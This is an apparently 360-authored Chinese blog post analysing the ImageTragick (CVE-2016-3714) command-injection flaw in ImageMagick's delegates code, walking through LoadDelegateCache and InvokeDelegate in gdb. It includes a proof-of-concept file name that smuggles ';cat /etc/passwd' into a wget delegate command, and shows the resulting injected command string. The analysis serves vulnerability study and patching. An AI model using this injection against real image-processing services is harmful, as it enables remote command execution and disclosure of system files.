Imagetragick(CVE-2016-3714)漏洞分析
一. 寫在前面
在奇虎360這個互聯網公司里,每一個突襲而來的漏洞,也意味360信息安全部將對此進行一場肉搏戰,現在已經在午夜。對于CVE-2016-3714這個黑魔法漏洞,雖說看著面上也能看明白這個東西怎么回事,有時候還是走進源碼會比較清晰一點,所以這稿子的內容大致是筆者的一個調試過程。
每次修漏洞的時候,還是會想起老領導劉小雄說過的24小時修復原則,估計這個原則會長期伴隨著個人在安全道路上。
Hf!
二. 技術分析
“delegates” 委托或者說是代理模式吧,想起了那年拿著GoF13招不停的練,回頭想想好像也就用過一次代理模式。
CVE-2016-3714所在的問題文件是magick/delegats.c,不知道為啥總覺得它的設計很不優雅,姑且作點事后的調侃吧,因為你所看到這篇文章也不優雅。
delegates的實現里主要有個叫 DelegateInfo 的數據結構:
這個結構用于存儲DelegateMap:
注意其中的一個例子(其實這里你就可以看出源碼作者是要使用xml、轉義字符的高度的可擴展性):
” <delegate decode=\”https\” command=\””wget” -q -O “%o” “https:%M”\”/>”
剩下的我們關心它的兩個接口:
1101 MagickExport MagickBooleanType InvokeDelegate(ImageInfo *image_info,
1102 Image *image,const char *decode,const char *encode,ExceptionInfo *exception)
…
1478 static MagickBooleanType LoadDelegateCache(LinkedListInfo *delegate_cache,
1479 const char *xml,const char *filename,const size_t depth,
1480 ExceptionInfo *exception)
LoadDelegateCache會構建出一個delegate表,InvokeDelegate是用于使用delegate這個表。
比如在Load的過程中會對command字段內的value作提前轉義:
轉義后,就可以看到(比較基礎吧):
(gdb) p commands
$5 = 0x6450c0 “\”wget\” -q -O \”%o\” \”https:%M\””
在 InvokeDelegate 的過程中就開始匹配 delegate的類型,這里使用”HTTPS”作為具體實現來試驗,具體測試poc如下:
$gdb ./utilities/.libs/convert ‘https://security_.#”;cat /etc/passwd”‘ 1.jpg
在到達InvokeDelegate 時調試結果如下:
1297 }
1298 status=MagickFalse;
1299 command=InterpretImageProperties(image_info,image,commands[i]); //這里再繼續轉義
1300 if (command != (char *) NULL)
1301 {
1302 /*
1303 Execute delegate. Here we go.
1304 */
1305 status=ExternalDelegateCommand(delegate_info->spawn,image_info->verbose,
1306 command,(char *) NULL,exception) != 0 ? MagickTrue : MagickFalse;
1307 if (delegate_info->spawn != MagickFalse)
1308 {
1309 ssize_t
1310 count;
(gdb) p command
$26 = 0x6537c0 “\”wget\” -q -O \”/tmp/magick-28319ICbZUTH3xNQK\” \”https://security_.#\”;cat /etc/passwd\”\””
在這里已經拼接出來最終要執行的代碼了。其中比較有趣的也就是 InterpretImageProperties,里頭實際上就是對 %0 和%M作轉義(見magick/property.c):
最后,提供一份進程啟動流程圖:
三. 寫在最后
寫到這里,其實只是想表達360的內部信息安全漏洞管控是一場無休止的戰斗,共勉!
gl!